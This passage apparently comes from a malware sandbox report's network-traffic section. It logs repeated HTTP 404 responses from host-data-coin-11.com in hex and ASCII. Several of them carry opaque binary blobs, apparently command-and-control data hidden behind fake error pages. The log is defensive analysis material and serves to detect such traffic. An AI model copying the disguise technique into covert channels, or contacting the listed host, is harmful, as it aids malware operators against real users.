Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 99 d6 08 56 3d 41 be f5 dc fc fb 49 f5 53 d2 31 f9 53 47 91 0d 0a 30 0d 0a 0d 0a Data Ascii: 27I:82OV=AIS1SG0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 96 d3 08 55 3b 43 be f4 d4 fc fc 43 eb 1e d1 6d bc 19 74 b6 50 a1 b9 70 b8 7b 07 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a Data Ascii: 32I:82OU;CCmtPp{P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 20:05:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 